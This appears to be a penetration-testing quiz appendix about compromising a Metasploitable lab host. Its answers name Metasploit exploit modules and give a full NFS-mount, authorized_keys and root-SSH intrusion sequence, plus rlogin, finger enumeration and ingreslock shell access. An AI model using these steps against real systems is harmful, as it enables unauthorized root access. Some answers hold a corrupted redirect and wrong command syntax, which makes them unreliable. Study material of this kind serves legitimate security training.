Appendix F

Question 1

What would the following command do

rusers -l 192.168.1.1

Answer 1

Show a list of users currently logged onto the host 192.168.1.1

Question 2

What would the following command do

rwho 192.168.1.1

Answer 2

Show a list of users currently logged onto the host 192.168.1.1

Question 3

What port does finger operate on

Answer 3

TCP/79

Question 4

How can finger benefit an attacker

Answer 4

It can be used to enumerate users

Question 5

What is the correct usage syntax for finger

Answer 5

finger user@192.168.1.1

Question 6

What version of VSFTP has a backdoor built into it and can be exploited with a metasploit module

Answer 6

2.3.4

Question 7

The vulnerable service distcc can be exploited to gain a shell using what metasploit module

Answer 7

exploit/unix/misc/distcc_exec

Question 8

Why should Nmap never be installed with special privileges on Linux based operating systems

Answer 8

This could potentially make the server susceptible to the Setuid Nmap Exploit

Question 9

What metasploit module should be used to exploit Setuid Nmap

Answer 9

exploit/unix/local/setuid_nmap

Question 10

How would you exploit the misconfigured r login service on 192.168.1.1

Answer 10

rlogin -l root@192.168.1.1

Question 11

How would you identify an NFS share on 192.168.1.1

Answer 11

probing TCP port 2049 or by using the following commands :

rpcinfo -p 192.168.1.1

100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs

showmount -e 192.168.1.1
Export list for 192.168.1.1 :
/*

Question 12

How would you obtain access by mounting an NFS share

Answer 12

root@ubuntu:~# ssh-keygen

root@ubuntu:~# mkdir /tmp/r00t

root@ubuntu:~# mount -t nfs 192.168.1.1:/ /tmp/r00t/

root@ubuntu:~# cat ~/.ssh/id_rsa.pub&raquo_space; /tmp/r00t/root/.ssh/authorized_keys

root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh root@192.168.1.1

Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

Question 13

What metasploit module is used to compromise the UnrealRCD IRC daemon

Answer 13

exploit/unix/irc/unreal_ircd_3281_backdoor

Question 14

What port does ingreslock reside on and how can it be exploited

Answer 14

TCP/1524

Telnet 192.168.1.1 1524

Question 15

What are the R*Services and their corresponding ports

Answer 15

rsh : Remote Shell : TCP 514
rauth : Remote Auth : TCP 513
rlogin : Remote Login : TCP 513
rexec : Remote Execution : TCP 512

Question 16

What port does X11 operate on

Answer 16

TCP/6000

Question 17

Where is the default .rhosts file location

Answer 17

$HOME/.rhosts